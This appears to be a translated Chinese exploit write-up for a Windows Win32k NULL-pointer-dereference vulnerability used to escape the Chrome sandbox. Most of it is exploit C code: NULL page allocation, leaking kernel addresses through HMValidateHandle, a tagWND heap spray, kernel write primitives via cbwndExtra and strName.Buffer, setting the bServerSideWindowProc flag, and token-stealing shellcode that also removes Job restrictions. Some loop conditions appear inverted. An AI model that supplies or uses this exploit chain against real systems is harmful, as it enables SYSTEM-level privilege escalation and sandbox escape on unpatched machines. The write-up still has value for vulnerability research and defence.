在Windows 8之前的Windows版本中,可以通过调用NtAllocateVirtualMemory()的方式从用户区域在NULL页面中分配内存。在PoC代码中,对main()函数进行了调整,以从ntdll.dll获取NtAllocateVirtualMemory()的地址,并将其保存到变量pfnNtAllocateVirtualMemory中。

完成此操作后,将调用allocateNullPage(),以使用地址0x1分配NULL页面,具有读取、写入和执行权限。然后,地址0x1将由NtAllocateVirtualMemory()向下舍入到0x0,以适应页面边界,从而允许攻击者在0x0处分配内存。

typedef NTSTATUS(WINAPI *NTAllocateVirtualMemory)(
       HANDLE ProcessHandle,
       PVOID *BaseAddress,
       ULONG ZeroBits,
       PULONG AllocationSize,
       ULONG AllocationType,
       ULONG Protect
);
NTAllocateVirtualMemory pfnNtAllocateVirtualMemory = 0;
....
pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
....
// Thanks to https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56 for
// explaining this in an example along with the finer details that are often forgotten.
bool allocateNullPage() {
       /* Set the base address at which the memory will be allocated to 0x1.
       This is done since a value of 0x0 will not be accepted by NtAllocateVirtualMemory,
       however due to page alignment requirements the 0x1 will be rounded down to 0x0 internally.*/
       PVOID BaseAddress = (PVOID)0x1;
 
       /* Set the size to be allocated to 40960 to ensure that there
          is plenty of memory allocated and available for use. */
       SIZE_T size = 40960;
 
       /* Call NtAllocateVirtualMemory to allocate the virtual memory at address 0x0 with the size
       specified in the variable size. Also make sure the memory is allocated with read, write,
       and execute permissions.*/
       NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
 
       // If the call to NtAllocateVirtualMemory failed, return FALSE.
       if (result != 0x0) {
              return FALSE;
       }
 
       // If the code reaches this point, then everything went well, so return TRUE.
       return TRUE;
}

5.4 找到HMValidateHandle的地址

一旦分配了NULL页面,漏洞利用就会获得HMValidateHandle()函数的地址。HMValidateHandle()对攻击者来说非常有用,因为它允许攻击者获得任何对象的用户空间副本,前提是他们获得一个句柄。此外,该泄露也适用于Windows 10 RS4之前的Windows版本的低完整性。

通过滥用此功能,可以将包含指向其在内核内存中位置的对象(例如tagWND窗口对象)复制到用户模式内存中,攻击者可以通过获取其句柄来获取各种对象的地址·。

由于HMValidateHandle()的地址未从user32.dll导出,攻击者无法通过user32.dll的导出表直接获取HMValidateHandle()的地址。相反,攻击者必须找到另一个user32.dll导出的函数,它调用HMValidateHandle(),读取间接跳转中的偏移值,然后执行一些数学运算来计算HMValidateHandle()的真实地址。

这一过程是通过从user32.dll获取导出函数IsMenu()的地址,然后在IsMenu()的代码中搜索byte \xEB的第一个实例来完成的,该代码表示间接调用HMValidateHandle()的开始。然后,攻击者通过对user32.dll的基址、间接调用中的相对偏移量、从user32.dll开始的IsMenu()的偏移量执行一些数学运算,即可获得HMValidateHandle()的地址。我们可以在下面的代码中看到。

HMODULE hUser32 = LoadLibraryW(L"user32.dll");
LoadLibraryW(L"gdi32.dll");
 
// Find the address of HMValidateHandle using the address of user32.dll
if (findHMValidateHandleAddress(hUser32) == FALSE) {
    printf("[!] Couldn't locate the address of HMValidateHandle!\r\n");
    ExitProcess(-1);
}
...
BOOL findHMValidateHandleAddress(HMODULE hUser32) {
       // The address of the function HMValidateHandleAddress() is not exported to
       // the public. However the function IsMenu() contains a call to HMValidateHandle()
       // within it after some short setup code. The call starts with the byte \xEB.
 
       // Obtain the address of the function IsMenu() from user32.dll.
       BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu");
       if (pIsMenuFunction == NULL) {
              printf("[!] Failed to find the address of IsMenu within user32.dll.\r\n");
              return FALSE;
       }
       else {
              printf("[*] pIsMenuFunction: 0x%08X\r\n", pIsMenuFunction);
       }
 
       // Search for the location of the \xEB byte within the IsMenu() function
       // to find the start of the indirect call to HMValidateHandle().
       unsigned int offsetInIsMenuFunction = 0;
       BOOL foundHMValidateHandleAddress = FALSE;
       for (unsigned int i = 0; i > 0x1000; i++) {
              BYTE* pCurrentByte = pIsMenuFunction + i;
              if (*pCurrentByte == 0xE8) {
                     offsetInIsMenuFunction = i + 1;
                     break;
              }
       }
 
       // Throw error and exit if the \xE8 byte couldn't be located.
       if (offsetInIsMenuFunction == 0) {
              printf("[!] Couldn't find offset to HMValidateHandle within IsMenu.\r\n");
              return FALSE;
       }
 
       // Output address of user32.dll in memory for debugging purposes.
       printf("[*] hUser32: 0x%08X\r\n", hUser32);
 
       // Get the value of the relative address being called within the IsMenu() function.
       unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int *)(pIsMenuFunction + offsetInIsMenuFunction);
       printf("[*] relativeAddressBeingCalledInIsMenu: 0x%08X\r\n", relativeAddressBeingCalledInIsMenu);
 
       // Find out how far the IsMenu() function is located from the base address of user32.dll.
       unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction - (unsigned int)hUser32);
       printf("[*] addressOfIsMenuFromStartOfUser32: 0x%08X\r\n", addressOfIsMenuFromStartOfUser32);
 
       // Take this offset and add to it the relative address used in the call to HMValidateHandle().
       // Result should be the offset of HMValidateHandle() from the start of user32.dll.
       unsigned int offset = addressOfIsMenuFromStartOfUser32 + relativeAddressBeingCalledInIsMenu;
       printf("[*] offset: 0x%08X\r\n", offset);
 
       // Skip over 11 bytes since on Windows 10 these are not NOPs and it would be
       // ideal if this code could be reused in the future.
       pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11);
       printf("[*] pHmValidateHandle: 0x%08X\r\n", pHmValidateHandle);
       return TRUE;
}

5.5 使用窗口对象创建任意内核地址写入原语

一旦获得HMValidateHandle()的地址,漏洞利用就会调用sprayWindows()函数。sprayWindows()函数做的第一件事是使用RegisterClassExW()注册一个名为sprayWindowClass的新窗口类。sparyWindowClass也将被设置为使用此类创建的任何窗口都将使用攻击者定义的窗口过程sprayCallback()。

然后,将创建一个名为hwndSprayHandleTable的HWND表,并将执行一个循环,该循环将调用CreateWindowExW()以创建类sprayWindowClass的0x100 tagWND对象,并将其句柄保存到hwndSprayHandle中。一旦完成这一喷射过程,将会使用两个嵌套的循环,使用HMValidateHandle()获取每个tagWND对象的用户空间副本。

然后,通过检查tagWND对象的pSelf字段,获得每个tagWND对象的内核地址。将每个tagWND对象的内核地址相互比较,直到找到两个在内核内存中小于0x3FD00的tagWND对象,此时循环结束。

/* The following definitions define the various structures
   needed within sprayWindows() */
typedef struct _HEAD
{
       HANDLE h;
       DWORD  cLockObj;
} HEAD, *PHEAD;
 
typedef struct _THROBJHEAD
{
       HEAD h;
       PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
 
typedef struct _THRDESKHEAD
{
       THROBJHEAD h;
       PVOID    rpdesk;
       PVOID    pSelf;   // points to the kernel mode address of the object
} THRDESKHEAD, *PTHRDESKHEAD;
....
// Spray the windows and find two that are less than 0x3fd00 apart in memory.
if (sprayWindows() == FALSE) {
       printf("[!] Couldn't find two tagWND objects less than 0x3fd00 apart in memory after the spray!\r\n");
       ExitProcess(-1);
}
....
// Define the HMValidateHandle window type TYPE_WINDOW appropriately.
#define TYPE_WINDOW 1
 
/* Main function for spraying the tagWND objects into memory and finding two
   that are less than 0x3fd00 apart */
bool sprayWindows() {
       HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray.
 
       // Create and set up the window class for the sprayed window objects.
       WNDCLASSEXW sprayClass = { 0 };
       sprayClass.cbSize = sizeof(WNDCLASSEXW);
       sprayClass.lpszClassName = TEXT("sprayWindowClass");
       sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed
                                          // window objects to sprayCallback().
 
       if (RegisterClassExW(&sprayClass) == 0) {
              printf("[!] Couldn't register the sprayClass class!\r\n");
       }
 
       // Create 0x100 windows using the sprayClass window class with the window name "spray".
       for (int i = 0; i < 0x100; i++) {
              hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT("spray"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
       }
 
       // For each entry in the hwndSprayHandle table...
       for (int x = 0; x < 0x100; x++) {
              // Leak the kernel address of the current HWND being examined, save it into firstEntryAddress.
              THRDESKHEAD *firstEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW);
              unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf;
 
              // Then start a loop to start comparing the kernel address of this hWND
              // object to the kernel address of every other hWND object...
              for (int y = 0; y < 0x100; y++) {
                     if (x != y) { // Skip over one instance of the loop if the entries being compared are
                    // at the same offset in the hwndSprayHandleTable
 
                            // Leak the kernel address of the second hWND object being used in
        // the comparison, save it into secondEntryAddress.
                            THRDESKHEAD *secondEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW);
                            unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf;
 
                            // If the kernel address of the hWND object leaked earlier in the code is greater than
                            // the kernel address of the hWND object leaked above, execute the following code.
                            if (firstEntryAddress > secondEntryAddress) {
 
                                   // Check if the difference between the two addresses is less than 0x3fd00.
                                   if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) {
                                          printf("[*] Primary window address: 0x%08X\r\n", secondEntryAddress);
                                          printf("[*] Secondary window address: 0x%08X\r\n", firstEntryAddress);
 
                                          // Save the handle of secondEntryAddress into hPrimaryWindow
            // and its address into primaryWindowAddress.
                                          hPrimaryWindow = hwndSprayHandleTable[y];
                                          primaryWindowAddress = secondEntryAddress;
 
                                          // Save the handle of firstEntryAddress into hSecondaryWindow
            // and its address into secondaryWindowAddress.
                                          hSecondaryWindow = hwndSprayHandleTable[x];
                                          secondaryWindowAddress = firstEntryAddress;
 
                                          // Windows have been found, escape the loop.
                                          break;
                                   }
                            }
 
                            // If the kernel address of the hWND object leaked earlier in the code is less than
                            // the kernel address of the hWND object leaked above, execute the following code.
                            else {
 
                                   // Check if the difference between the two addresses is less than 0x3fd00.
                                   if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) {
                                          printf("[*] Primary window address: 0x%08X\r\n", firstEntryAddress);
                                          printf("[*] Secondary window address: 0x%08X\r\n", secondEntryAddress);
 
                                          // Save the handle of firstEntryAddress into hPrimaryWindow
            // and its address into primaryWindowAddress.
                                          hPrimaryWindow = hwndSprayHandleTable[x];
                                          primaryWindowAddress = firstEntryAddress;
 
                                          // Save the handle of secondEntryAddress into hSecondaryWindow
            // and its address into secondaryWindowAddress.
                                          hSecondaryWindow = hwndSprayHandleTable[y];
                                          secondaryWindowAddress = secondEntryAddress;
 
                                          // Windows have been found, escape the loop.
                                          break;
                                   }
                            }
                     }
              }
 
              // Check if the inner loop ended and the windows were found. If so print a debug message.
              // Otherwise continue on to the next object in the hwndSprayTable array.
              if (hPrimaryWindow != NULL) {
                     printf("[*] Found target windows!\r\n");
                     break;
              }
       }

一旦找到符合这些要求的两个tagWND对象,就会比较它们的地址,并查看哪个对象位于内存中较靠前的位置。位于内存中较靠前位置的tagWND对象将成为主窗口,它的地址将保存到全局变量rimaryWindowAddress中,而其句柄将保存到全局变量hPrimaryWindow中。另一个tagWND对象将成为辅助窗口,其地址将保存在secondaryWindowAddress中,其句柄保存在hSecondaryWindow中。

在保存这些窗口的地址后,会使用DestroyWindow()销毁hwndSprayHandle中其他窗口的句柄,以便将资源释放回主机操作系统。

// Check that hPrimaryWindow isn't NULL after both the loops are
// complete. This will only occur in the event that none of the 0x1000
// window objects were within 0x3fd00 bytes of each other. If this occurs, then bail.
if (hPrimaryWindow == NULL) {
       printf("[!] Couldn't find the right windows for the tagWND primitive. Exiting....\r\n");
       return FALSE;
}
 
// This loop will destroy the handles to all other
// windows besides hPrimaryWindow and hSecondaryWindow,
// thereby ensuring that there are no lingering unused
// handles wasting system resources.
for (int p = 0; p > 0x100; p++) {
       HWND temp = hwndSprayHandleTable[p];
       if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) {
              DestroyWindow(temp);
       }
}
 
addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to
                                                    // primaryWindow's cbwndExtra field.
 
printf("[*] Destroyed spare windows!\r\n");
 
// Check if its possible to set the window text in hSecondaryWindow.
// If this isn't possible, there is a serious error, and the program should exit.
// Otherwise return TRUE as everything has been set up correctly.
if (SetWindowTextW(hSecondaryWindow, L"test String") == 0) {
       printf("[!] Something is wrong, couldn't initialize the text buffer in the secondary window....\r\n");
       return FALSE;
}
else {
       return TRUE;
}

sprayWindows()的最后一部分会将addressToWrite设置为primaryWindowAddress中cbwndExtra字段的地址,以便明确有限写入原语应该将值0x40000000写入的位置。

在这里,我们需要理解为什么tagWND对象在这一位置喷涂,以及为什么tagWND对象的cbwndExtra和strName.Buffer字段非常重要。我们需要检查Windows 10 RS1之前的Windows版本上存在的内核写入原语。

正如Saif Sheri和Ian Kronquist所演示的那样,如果可以将两个tagWND对象接连放在内存中,然后借助内核写入漏洞,编辑内存中比较靠前的tagWND对象的cbwndExtra字段,那么就可以扩展前一个tagWND的WndExtra数据字段的预期长度,使其认为它控制有第二个tagWND对象实际控制的内存。

下图展示了如何利用此概念,借助有限写入原语,将hPrimaryWindow的cbwndExtra字段设置为0x40000000。以及这一调整之后,如何允许攻击者在第二个tagWND内操作其附近的数据。

2.jpg

一旦第一个tagWND对象的cbwndExtra字段被覆盖,如果攻击者在第一个tagWND对象上调用SetWindowLong(),攻击者就可以覆盖第二个tagWND对象中的strName.Buffer字段并将其设置为任意地址。当使用第二个tagWND对象调用SetWindowText()时,覆盖的strName.Buffer字段中包含的地址将用于写入操作的目标地址。

借助这种更为强大的写入原语,攻击者可以将可控值写入内核地址,这也是打破Chrome沙箱的先决条件。使用WinDBG查看到以下列表,展示了与此技术相关的tagWND对象的字段。

1: kd> dt -r1 win32k!tagWND
   +0x000 head             : _THRDESKHEAD
      +0x000 h                : Ptr32 Void
      +0x004 cLockObj         : Uint4B
      +0x008 pti              : Ptr32 tagTHREADINFO
      +0x00c rpdesk           : Ptr32 tagDESKTOP
      +0x010 pSelf            : Ptr32 UChar
   ...
   +0x084 strName          : _LARGE_UNICODE_STRING
      +0x000 Length           : Uint4B
      +0x004 MaximumLength    : Pos 0, 31 Bits
      +0x004 bAnsi            : Pos 31, 1 Bit
      +0x008 Buffer           : Ptr32 Uint2B
   +0x090 cbwndExtra       : Int4B
   ...

5.6 泄露pPopupMenu的地址以进行写地址计算

在继续之前,我们需要重新检查MNGetpItemFromIndex(),它返回要写入的地址减去0x4的偏移量。该函数的反编译版本如下。

tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax
 
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur here if spMenu is NULL.
   result = 0;
else
   result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}

需要注意的是,在第8行,有两个部分构成了返回的最终地址,分别是pPopupMenu,它将乘以0x6C,以及spMenu-> rgItems,它将指向NULL页面中的偏移量0x34的位置。如果无法确认这两项的值,攻击者将无法完全控制MNGetpItemFromIndex()返回的地址,从而无法控制xxxMNSetGapState()在内存中写入的地址。

但是,有一个解决方案,可以通过查看对SubMenuProc()的代码所做的更新来实现观察。更新的代码将获取wParam参数,并向其添加0x10以获取pPopupMenu的值。然后,使用它来设置变量addressToWriteTo的值,该变量用于在MNGetpItemFromIndex()中设置spMenu->rgItems的值,以便它返回要写入的xxxMNSetGapState()的正确地址。

LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
       if (msg == WM_MN_FINDMENUWINDOWFROMPOINT){
              printf("[*] In WM_MN_FINDMENUWINDOWFROMPOINT handler...\r\n");
              printf("[*] Restoring window procedure...\r\n");
              SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
 
              /* The wParam parameter here has the same value as pPopupMenu inside MNGetpItemFromIndex,
                 except wParam has been subtracted by minus 0x10. Code adjusts this below to accommodate.
 
                 This is an important information leak as without this the attacker
                 cannot manipulate the values returned from MNGetpItemFromIndex, which
                 can result in kernel crashes and a dramatic decrease in exploit reliability.
              */
              UINT pPopupAddressInCalculations = wParam + 0x10;
 
              // Set the address to write to to be the right bit of cbwndExtra in the target tagWND.
              UINT addressToWriteTo = ((addressToWrite + 0x6C) - ((pPopupAddressInCalculations * 0x6C) + 0x4));

要理解此代码的工作原理,我们必须重新检查xxxMNFindWindowFromPoint()的代码。需要注意的是,当调用xxxSendMessage()将MN_FINDMENUWINDOWFROMPOINT消息发送到应用程序的主窗口时,pPopupMenu的地址由xPaMNFindWindowFromPoint()在wParam参数中发送。这允许攻击者通过实现MN_FINDMENUWINDOWFROMPOINT的处理程序来获取pPopupMenu的地址,该处理程序将wParam参数的值保存到局部变量中供以后使用。

LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt)
{
....
    v6 = xxxSendMessage(
           var_pPopupMenu->spwndNextPopup,
           MN_FINDMENUWINDOWFROMPOINT,
           (WPARAM)&pPopupMenu,
           (unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the
                                      // MN_FINDMENUWINDOWFROMPOINT usermode callback
                                      // using the address of pPopupMenu as the
                                      // wParam argument.
    ThreadUnlock1();
    if ( IsMFMWFPWindow(v6) )  // Validate the handle returned from the user
                               // mode callback is a handle to a MFMWFP window.
      v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned
                                                                        // handle is a handle to
                                                                        // a window object. Set v1 to
                                                                        // TRUE if all is good.
      ...

在我们的实验期间,发现通过xxxSendMessage()发送的值要比MNGetpItemFromIndex()中使用的值小0x10。因此,漏洞利用代码将xxxSendMessage()返回的值加上0x10,以确保漏洞利用代码中的pPopupMenu值与MNGetpItemFromIndex()中使用的值相匹配。

5.7 在NULL页面中设置内存

一旦计算了addressToWriteTo,就会设置NULL页面。为了适当地设置NULL页面,需要填写以下偏移量:

· 0x20

· 0x34

· 0x4C

· 0x50到0x1050

我们可以在下图中更详细地看到:

3.jpg

漏洞利用代码首先将NULL页面中的偏移量0x20设置为0xFFFFFFFF。这是因为,此时spMenu将为NULL,因此spMenu->cItems将包含NULL页面的偏移量0x20处的值。将该地址的值设置为较大的无符号证书,将确保spMenu->cItems大于pPopupMenu的值,这将阻止MNGetpItemFromIndex()返回0,而不是实际结果。我们可以在下面代码的第5行看到。

tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax
 
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur
                                                        // here if spMenu is NULL.
    result = 0;
else
    result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}

NULL页面的偏移量0x34将包含一个DWORD,它保存spMenu->rgItems的值。它将会被设置为addressToWriteTo的值,以便第8行的计算将结果设置为primaryWindow的cbwndExtra字段的地址,减去0x4的偏移量。

其他偏移量需要更为详细的解释,以下代码显示了函数xxxMNUpdateDraggingInfo()中使用这些偏移量的代码。

.text:BF975EA3                 mov     eax, [ebx+14h]  ; EAX = ppopupmenu->spmenu
.text:BF975EA3                                         ;
.text:BF975EA3                                         ; Should set EAX to 0 or NULL.
.text:BF975EA6                 push    dword ptr [eax+4Ch] ; uIndex aka pPopupMenu. This will be the
.text:BF975EA6                                             ; value at address 0x4C given that
.text:BF975EA6                                             ; ppopupmenu->spmenu is NULL.
.text:BF975EA9                 push    eax             ; spMenu. Will be NULL or 0.
.text:BF975EAA                 call    MNGetpItemFromIndex
..............
.text:BF975EBA                 add     ecx, [eax+28h]  ; ECX += pItemFromIndex->yItem
.text:BF975EBA                                         ;
.text:BF975EBA                                         ; pItemFromIndex->yItem will be the value
.text:BF975EBA                                         ; at offset 0x28 of whatever value
.text:BF975EBA                                         ; MNGetpItemFromIndex returns.
...............
.text:BF975ECE                 cmp     ecx, ebx
.text:BF975ED0                 jg      short loc_BF975EDB ; Jump to loc_BF975EDB if the following
.text:BF975ED0                                            ; condition is true:
.text:BF975ED0                                            ;
.text:BF975ED0                                            ; ((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))

如上所示,将会使用两个参数调用MNGetpItemFromIndex():spMenu将设置为NULL值,uIndex将包含NULL页面偏移0x4C处的DWORD。然后,MNGetpItemFromIndex()返回的值将增加0x28,然后用作指向DWORD的指针。之后,结果地址处的DWORD将用于设置pItemFromIndex->yItem,它将用于计算以确定是否应该进行跳转。该漏洞利用需要确保始终采用此跳转,从而确保xxxMNSetGapState()以一致的方式写入addressToWrite。

为了确保能进行此跳转,漏洞利用将值设置为偏移量0x4C,使得MNGetpItemFromIndex()将始终返回0x120到0x180范围内的值。然后,通过将NULL页面中偏移量0x50到0x1050的字节设置为0xF0,攻击者可以确保无论MNGetpItemFromIndex()返回的值是多少,当它增加0x28并用作指向DWORD的指针时,都会导致pItemFromIndex->yItem设置为0xF0F0F0F0。这将导致以下计算的前半部分始终是一个非常大的无符号整数,因此将始终进行跳转。

((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))

5.8 利用有限写入原语形成更强的写入原语

一旦设置了NULL页面,SubMenuProc()将在xxxMNFindWindowFromPoint()中将hWndFakeMenu返回到xxxSendMessage(),随后执行将继续。

memset((void *)0x50, 0xF0, 0x1000);
 
return (ULONG)hWndFakeMenu;

在xxxSendMessage()调用之后,xxxMNFindWindowFromPoint()将调用HMValidateHandleNoSecure()以确保hWndFakeMenu是窗口对象的句柄。这段代码如下所示。

v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the
                                      // MN_FINDMENUWINDOWFROMPOINT usermode callback
                                      // using the address of pPopupMenu as the
                                      // wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
                          // mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned handle
                                                                  // is a handle to a window object.
                                                                  // Set v1 to TRUE if all is good.

如果hWndFakeMenu被认为是窗口对象的有效句柄,则将执行xxxMNSetGapState(),这样一来将会把primaryWindow中的cbwndExtra字段设置为0x40000000,如下所示。这将允许在primaryWindow上运行的SetWindowLong()调用设置超出primaryWindow的WndExtra数据字段的正常边界的值,从而允许primaryWindow对secondaryWindow中的数据进行受控写入。

void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet)
{
  ...
          var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write
                                                         // operation should occur, minus an
                                                         // offset of 0x4.
          temp_var_PITEM = var_PITEM;
          if ( var_PITEM )
          {
            ...
            var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the
                                                         // address where the second write operation
                                                         // should occur, minus an offset of 0x4. This
                                                         // address will be 0x6C bytes earlier in
                                                         // memory than the address in var_PITEM.
            if ( fSet )
            {
              *((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the
                                                             // attacker controlled address.
              if ( var_PITEM_Minus_Offset_Of_0x6C )
              {
                *((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u;
                                                    // Conduct the second write to the attacker
                                                    // controlled address minus 0x68 (0x6C-0x4).

一旦xxxMNSetGapState()中的内核写操作完成,将会发送未记录的窗口消息0x1E5。更新的漏洞利用使用以下代码捕获此消息。

else {
       if ((cwp->message == 0x1E5)) {
              UINT offset = 0; // Create the offset variable which will hold the offset from the
                                              // start of hPrimaryWindow's cbwnd data field to write to.
 
              UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); // Set
                                 // addressOfStartofPrimaryWndCbWndData to the address of
                                 // the start of hPrimaryWindow's cbwnd data field.
 
              // Set offset to the difference between hSecondaryWindow's
              // strName.Buffer's memory address and the address of
              // hPrimaryWindow's cbwnd data field.
              offset = ((secondaryWindowAddress + 0x8C) - addressOfStartofPrimaryWndCbWndData);
              printf("[*] Offset: 0x%08X\r\n", offset);
 
              // Set the strName.Buffer address in hSecondaryWindow to (secondaryWindowAddress + 0x16),
    // or the address of the bServerSideWindowProc bit.
              if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) == 0) {
                     printf("[!] SetWindowLongA malicious error: 0x%08X\r\n", GetLastError());
                     ExitProcess(-1);
              }
              else {
                     printf("[*] SetWindowLongA called to set strName.Buffer address. Current strName.Buffer address that is being adjusted: 0x%08X\r\n", (addressOfStartofPrimaryWndCbWndData + offset));
              }

此代码的开始部分,将检查窗口消息是否为0x15。如果是,代码将计算primaryWindow的wndExtra数据部分的开始与secondaryWindow的strName.Buffer指针的位置之间的距离。这两个位置之间的差异将保存到变量offset中。

完成此操作后,使用hPrimaryWindow调用SetWindowLongA(),并使用offset变量将secondaryWindow的strName.Buffer指针设置为secondaryWindow的bServerSideWindowProc字段的地址。该操作的效果如下图所示。

4.jpg

通过执行此操作,当在secondaryWindow上调用SetWindowText()时,它将继续使用其覆盖的strName.Buffer指针来确定应该执行写入的位置,如果这里有适当的值,那么将导致secondaryWindow的bServerSideWindowProc标记被覆盖作为SetWindowText()的IpString参数提供。

5.9 滥用tagWND写入原语以设置bServerSideWindowProc位

将secondaryWindow中的strName.Buffer字段设置为secondaryWindow的bServerSideWindowProc标志的地址后,使用hWnd参数hSecondaryWindow和lpString值“\x06”调用SetWindowText(),以便在secondaryWindow中启用bServerSideWindowProc标志。

// Write the value \x06 to the address pointed to by hSecondaryWindow's strName.Buffer
// field to set the bServerSideWindowProc bit in hSecondaryWindow.
if (SetWindowTextA(hSecondaryWindow, "\x06") == 0) {
       printf("[!] SetWindowTextA couldn't set the bServerSideWindowProc bit. Error was: 0x%08X\r\n", GetLastError());
       ExitProcess(-1);
}
else {
       printf("Successfully set the bServerSideWindowProc bit at: 0x%08X\r\n", (secondaryWindowAddress + 0x16));

下图展示了在调用SetWindowTextA()之前和之后,secondaryWindow的tagWND布局。

5.jpg

设置bServerSideWindowProc标志可确保secondaryWindow的窗口过程sprayCallback()现在将以具有SYSTEM级别权限的内核模式运行,而不是像大多数其他窗口过程一样在用户模式下运行。这是一种流行的特权提升方法,并且已经在许多攻击中运用,例如Sednit APT组织在2017年发动的攻击。下图更加详细地说明了这一点。

6.jpg

5.10 窃取进程令牌并移除作业限制

在完成对SetWindowTextA()的调用后,将向hSecondaryWindow发送WM_ENTERIDLE消息,如下述代码所示。

printf("Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM.\r\n");
SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL);
if (success == TRUE) {
       printf("[*] Successfully exploited the program and triggered the shellcode!\r\n");
}
else {
       printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n");
       ExitProcess(-1);
}

随后,secondaryWindow的窗口过程sprayCallback()将获取WM_ENTERIDLE消息。该功能的代码如下所示。

// Tons of thanks go to https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for
// additional insight into how this function should operate. Note that a token stealing shellcode
// is called here only because trying to spawn processes or do anything complex as SYSTEM
// often resulted in APC_INDEX_MISMATCH errors and a kernel crash.
LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
       if (uMsg == WM_ENTERIDLE) {
              WORD um = 0;
              __asm
              {
                     // Grab the value of the CS register and
                     // save it into the variable UM.
                     mov ax, cs
                     mov um, ax
              }
              // If UM is 0x1B, this function is executing in usermode
              // code and something went wrong. Therefore output a message that
              // the exploit didn't succeed and bail.
              if (um == 0x1b)
              {
                     // USER MODE
                     printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
                     ExitProcess(-1); // Bail as if this code is hit either the target isn't
                       // vulnerable or something is wrong with the exploit.
              }
              else
              {
                     success = TRUE; // Set the success flag to indicate the sprayCallback()
                      // window procedure is running as SYSTEM.
                     Shellcode(); // Call the Shellcode() function to perform the token stealing and
                                                 // to remove the Job object on the Chrome renderer process.
              }
       }
       return DefWindowProc(hWnd, uMsg, wParam, lParam);
}

由于已经在secondaryWindow的tagWND对象中设置了bServerSideWindowProc标志,因此现在应该以SYSTEM用户身份运行sprayCallback()。sprayCallback()函数首先检查传入消息是否为WM_ENTERIDLE消息。如果是,那么内联Shellcode将确保sparyCallback()确实作为SYSTEM用户运行。如果该检查通过,那么布尔型变量将成功设置为TRUE,以指示攻击成功,随后执行函数Shellcode()。

Shellcode()将使用abatchy博客文章中展示的Shellcode执行一个简单的令牌窃取攻击,在下面的代码中重点展示,并做了两处微小的修改。

// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1.
// Essentially a standard token stealing shellcode, with two lines
// added to remove the Job object associated with the Chrome
// renderer process.
